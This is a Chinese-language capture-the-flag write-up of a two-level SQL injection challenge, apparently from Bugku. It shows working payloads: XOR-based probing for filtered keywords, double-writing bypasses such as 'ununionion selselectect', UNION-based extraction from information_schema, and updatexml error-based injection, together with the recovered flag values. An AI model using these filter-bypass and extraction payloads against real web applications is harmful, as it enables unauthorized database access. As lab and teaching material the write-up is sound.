这道题有两个关卡,主要是学到了点儿报错注入判断过滤,这里就记录一下
以为这个注入会与id的选取有所关系,爆破了一下,发现当id=5时,出现了如下的界面
但是,后面的尝试,发现注入的话,与id=5没啥大的关系
本题给我以后的注入提供了思路,我会首先判断’号的报错以及注释符的选取后,尝试找到哪些数据被过滤掉了。
当我们输入’
尝试闭合:’#,失败了,’%23,%27%23,’–+
尝试输入有多少列,获取字段信息 'order by 5%23
发现它出错了,这里可能对某些数据进行了过滤,测试一下
id=5'^(0)%23
id=5'^(1)%23
当id=5时,如上图,当id=1时,出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入
id=1'^(length('union')!=0)%23
回显正常,说明union被过滤了,而双写之后却又报错,但是部分大写却又回显正常,说明大小写的union都被过滤了,所以确定为双写绕过。
**经测试,过滤的有 union select or and **
重新得到字段信息
id=1'oorr by 3%23
id=1'oorr by 2%23
说明只有两列,确定注入点儿
id=-1' ununionion selselectect 1,2%23
说明2这个位置是注入点,我们对它进行查询操作
id=-1'ununionion selselectect 1,database()%23 web1002-1
id=-1'uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23 flag1,hint
id=-1'uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1")%23 flag1,address
id=-1'uniunionon selselectect 1,flag1 from flag1%23 usOwycTju+FTUUzXosjr
提交得到的flag错误了,还有个address的字段,提出来
点进去得到下一关:
**试了试,这个竟然能直接用order by **
当输入order by 2时,没有报错,说明也是两列字段,下面判断它的过滤信息
id=1'^(length('union')!=0)%23
union又被过滤了,同时发现双写是绕不过去的,因为在括号里面输入ununionion时,数据完全没有回显,和输入没有过滤的字符显示结果不一样。
经过测试,被过滤的有union sleep substr
那么不能用union,能用select,所以可以尝试updataxml报错注入
首先,得到数据库名
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
得到表名和字段名
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
~class,flag2~
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e),1)%23
~flag2,address~
id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23
~flag{Bugku-sql_6s-2i-4t-bug}~
得到flag,提交时注意提示
还有一种报错注入